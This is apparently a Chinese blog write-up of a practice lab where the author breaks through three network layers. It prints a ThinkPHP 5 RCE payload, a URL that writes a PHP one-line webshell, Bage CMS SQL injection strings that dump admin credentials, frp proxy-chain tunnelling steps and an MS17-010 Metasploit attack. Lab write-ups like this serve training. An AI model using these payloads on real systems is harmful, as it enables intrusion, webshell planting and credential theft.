打穿你的内网之三层内网渗透

2022-9-22 17:29:40 Author: mp.weixin.qq.com(查看原文) 阅读量:30 收藏

在过去的一些实战经历中发现自己内网相关的技能还比较薄弱,所以专门找了个靶场(teamssix.com)做下练习,靶场的web漏洞利用都很简单,主要训练自己内网搭代理隧道的熟练度,如果你和我一样对复杂网络下隧道搭建不熟悉的话,不妨一起看看这篇文章,希望能对你有一些帮助。

目标:拿下内网最深处主机的 flag.txt文件

外网打点

互联网环境下发现一处资产 ,这里以 x.x.220.130 替代,直接访问 x.x.220.130 发现以下页面:

很明显这是一个thinkphp应用,随便指定一个路由 http://x.x.220.130/index.php/?s=123,爆出thinkphp的详细版本。

tp5在 5.0-5.0.245.1.0-5.1.30都是存在RCE(Remote code Execution)的,这里运气很好,直接使用5.0.x路由默认兼容模式进行RCE,使用以下payload 执行 id命令:

  1. http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=id

可以看见命令执行成功。

接下来直接写入一个shell ,使用php 的 file_put_contents 函数写个一句话木马:

  1. http://x.x.220.130/index.php/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=qaxnb.php&vars[1][1]=%3C?php%[email protected]($_POST[%27qaxnb666%27]);?%3E

验证:

 验证成功,直接使用蚁剑进行连接。

将超时时间调高,因为后续会上传文件避免超时而中断:

连接成功:

第一层的flag就在网站根目录下面, 直接双击读取即可:

突破边界(第一层)

接上文,已经拿下第一台服务器,尝试对这台服务器进行信息收集:

拿下的这台服务器发现权限并不高仅为www,但是有惊喜的是这台机器存在双网卡,其中一张网卡( ens37)绑定了内网ip( 192.168.22.131),证明这台服务器处于企业架构的DMZ(非军事区)区域,且是两个网段的边界节点,那么我们只要借助这台服务器作为跳板即可进入这家企业的内网,至少进入了 192.168.22.x/24网段的内网。

22 网段信息收集

既然发现了存在 192.168.22.x/24 网段,所以尝试对 22 网段进行信息收集,这里使用fscan (https://github.com/shadow1ng/fscan)工具进行内网大保健.

上传fscan 到服务器目录 /tmp

 对 192.168.22.x/24 网段进行扫描:

  1. ./fscan -h 192.168.22.1/24-o fscan.log

查看扫描结果:

发现网段内还存在 192.168.22.128 ~~和 192.168.22.129~~ , 且 192.168.22.128:80 存在 cms服务。

接下来的目标就是拿下 192.168.22.128 服务器,直接通过DMZ这台服务器因为权限太低所以不能直接用它来渗透,所以需要以第一台服务作为跳板。

搭建跳板

 先画个网络拓扑图,方便后续理解,第一台机器我们也叫它 Target1.

因为在上一步信息收集时发现 192.168.22.128:80 (Target 2)存在 cms服务,有两种方式进行利用:

  1. 对 Target 2 80 端口进行端口转发。

  2. 使用反向代理,将Target 1 的网络通过vps代理出去。

    为了进一步对内网进行探测,这里选择第二种方式。

    反向代理有很多工具可以使用,frp、ew、ngrok都可以,这里使用frp方式。

frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定。

启用frp 服务端

下载frps到自己的vps上,frps.ini 配置如下 :

其中 token 表示客户端进行连接的验证参数, 监听端口为17001, dashboard 为frps自带的仪表盘,方便对frps运行情况进行查看,

使用命令 frps-c frps.ini 启动即可,如果想要后台运行,可以加入service或者使用nohup启动。

netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。

Target1 客户端配置

 将frpc 传入target1 /tmp/frp目录:

frpc.ini 配置内容:

其中common内容与frps.ini保持一致即可, target1客户端分别配置了socks5与http的代理方式,使用 frpc-c frpc.ini 进行启动:

在 vps 服务器端分别发现了16004与16005端口,证明代理搭建成功!

这样就相当于打通了外部与该企业的内网,在互联网挂着vps 16004/16005的代理就能访问 Target2 所在的网段:

进入第二层内网

在上一步骤中已经搭建好了内网代理,现在进行以下测试,首先在没有使用代理时,192.168.22.128是无法访问的:

通过浏览器插件配置代理,因为浏览器不支持socks5 代理的加密认证,所以这里配置http方式

再次访问 192.168.22.128,成功访问,到此我们就已经访问了企业第二层内网:

虽然这里浏览器能够正常访问了,但是在渗透的过程中常常会使用安全工具进行扫描或者漏洞利用,这些工具大部分没有预留走代理的配置,或者系统的代理往往不会生效,这种情况怎么办呢?

所以这时候强制代理工具就很重要了,强制代理工具也有很多,这里使用proxifer,这款工具在win/mac下都有比较方便。

  1. ### 对`Target2` 进行端口扫描

虽然在之前的扫描中发现了Target2 80端口存在一个cms,但是 渗透总是照着软柿子捏,我们尝试使用nmap 对Target2 进行端口扫描,寻找其开放的端口。

1. 首先需要配置 Proxifer ,先配置代理服务器

2. 需要配置代理规则,按照下图配置:

3. 使用nmap 进行扫描,注意的是socks本身也是建立在tcp基础上的,所以nmap只能以tcp全连接的方式进行扫描,即: nmap-sT192.168.22.128-Pn

对21、22、3306 都进行了弱口令尝试,但无解,888、8888 是宝塔的控制面板界面,尝试了宝塔之前的phpmyadmin未授权访问也无解。看样子只能对80端口下手。

Bage cms 渗透

通过查看网页底部指纹信息,知道这是一个bage cms搭建的网站,而且从时间上来看有些老旧。

通过在网上寻找bage cms的利用点发现均为一些任意文件读取或者xss等后管的漏洞利用,虽然通过路径扫描找到了后台地址:http://192.168.22.128/index.php?r=admini/public/login

并没有弱口令,而且因为有验证码 所以也没法爆破,这个时候就茫然了,完全拿不下。

但总得抓个包先看看吧,联想到之前某活动,有个巨佬通过注释找到利用点拿到shell的场景,我这次也留意了注释的内容,刺激的是果然在注释里面有提示!

sql手工注入一把梭

访问提示的地址 http://192.168.22.128/index.php?r=vul&keyword=1

    加上单引号,典型的mysql报错注入:

    (不知为啥,图被夹了)

所以使用报错注入注出后管用户名和密码就好(中途发现报错注入显示的字符长度有限制,后面转成了联合注入),细节就不完整放了,很基础,贴下过程中的payload:

  1. -- 数据库

  2. -- bagecms

  3. 1'/**/and/**/updatexml(1,(concat(0x7e,database(),0x7e)),1)%3d'1+

  4. -- 注用户

  5. -- [email protected]

  6. 1'/**/and/**/updatexml(1,(concat(0x7e,user(),0x7e)),1)%3d'1+

  7. -- 注表

  8. -- bage_ad,bage_admin,bage_admin_group,bage_admin_logger,bage_attr,bage_attr_val,bage_catalog,bage_config,bage_link,bage_page,bage_post,bage_post_2tags,bage_post_album,bage_post_comment,bage_post_tags,bage_question,bage_special,bage_upload

  9. 1'+union+select+(select+group_concat(distinct+table_name)+from+information_schema.tables+where+table_schema%3d'bagecms'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

  10. -- 注段

  11. -- id,username,password,realname,group_id,email,qq,notebook,mobile,telephone,last_login_ip,last_login_time,login_count,status_is,create_time

  12. 1'+union+select+(select+group_concat(distinct+column_name)+from+information_schema.columns+where+table_schema%3d'bagecms'+and+table_name%3d'bage_admin'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

  13. -- 注用户名

  14. -- admin

  15. 1'+union+select+(select+group_concat(distinct+username)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

  16. -- 注密码

  17. -- 46f94c8de14fb36680850768ff1b7f2a (123qwe)

  18. 1'+union+select+(select+group_concat(distinct+password)+from+bagecms.bage_admin ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+%23

把注入出来的md5 密码去解一下,得到(admin/123qwe):

放入后门

使用注入得到的账号密码进行登录,成功登录。

后管直接把Target2 的flag给显示出来了,尝试继续深入,给这台服务上传shell,上传点存在限制,但是在模板功能模块存在直接编辑模板代码的功能,所以很简单直接把一句话随便找个文件放入就好:

尝试使用蚁剑进行连接,因为Target2 是内网机器,所以要连接shell得先给蚁剑挂代理:

其余和Target1 一样进行连接, 连接成功,至此 Target2 也被拿下。

进入第三层内网

同样的步骤,先对刚拿下的Taget2 进行信息收集:

发现和 Target1 类似,同样是双网卡,且能访问192.168.33.128 网段,和 Target1 不同的是不能出网,如果类比企业的话,33可能就是企业的核心生产网。

再次上传fscan,对33网段进行内网大保健:

显示33网段除了Target2 之外 ,还有一台 192.168.33.33Target3) ,且该主机为win7 ,fscan扫描得出存在永恒之蓝漏洞(MS17-010),所以可以再使用Target2的网络对Target3发起永恒之蓝攻击

搭建双层代理

往内网越深,需要搭建的代理就越多,内网的机器往往都是不出网的,所以需要依赖DMZ的机器作为总的出入口搭建代理链。

代理链搭建其实很简单,就是在Target1 上启动服务端,Target2 通过客户端连接服务端, 然后在使用代理时先让代理走target1 然后再走target2,即:

Hacker<->VPS<->Taget1<->Taget2<->Taget3

给Target1 运行frps 服务端,配置使用和vps相同的参数:

上Target2 运行客户端,其余配置都一样,把server_addr 换成开启服务端的Target1ip(注意ip要是22段,不然网络不通)

Target1 上开始监听Target2 客户端配置的代理ip时,说明配置成功。

永恒之蓝(MS17-010)

永恒之蓝这个漏洞很老了,算是复古一波,利用方式在msf里面就有,所以可以在vps上下载msf,给vps挂上代理链即可使用msf发起对Target3 的攻击。

在linux上对应用进行强制代理的工具可以使用 proxychains-ng

proxychains-ng

在centos 上可以很方便的 yum install-y proxychains-ng 安装即可

配置文件默认在 /etc/proxychains.conf ,按照如下顺序配置(顺序很重要,不能乱),因为我的frps就在这台vps上,所以直接使用127.0.0.1即可:

刚刚fscan扫描结果可知192.168.33.33 开启了 139和445 端口,使用proxtchain测试下,使用也非常简单,在需要代理的命令前面加上 proxychain即可:

proxychains telnet192.168.33.33139

 从上图可以看到端口已经通了,这时候就可以打开msf一把梭了。

msf

  1. 使用proxychains 启动msfconsole

2. 搜索ms17-010,直接使用第一个就好:

3. 因为Target3 是不能出网的 ,所以不能使用默认的反向payload,需要指定正向payload:

4. 设置目标参数信息

5. exploit !!!

拿到Taget3 最高权限!尝试去读取flag

拿到flag!

截图:

到这里已经拿到了第三层的内网主机最高权限,fscan扫描也没有其他主机信息,可以确认这次就基本打穿了。

总结

回顾一下,本次渗透总共通过三个边界节点的漏洞利用成功拿下身处最内网的Target3,分别通过TP5、Bage cms、永恒之蓝作为漏洞利用点,借助frp 工具搭建代理链实现对内网的访问。其实整个过程还是很简单的,并没有涉及到域相关的内容,后续有机会再分享。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

限时免费靶场实操,戳“阅读原文“

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652891236&idx=1&sn=51e425dfe5e463fd82e0bd988c5bb237&chksm=bd5994a98a2e1dbffbd26ec10ae64a0e8d28611c51247ce029318883c7afe4ac1dd2bdc6738f#rd
如有侵权请联系:admin#unsafe.sh